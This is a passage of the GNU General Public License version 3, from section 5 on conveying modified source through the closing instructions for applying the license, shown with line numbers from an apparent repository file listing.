You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------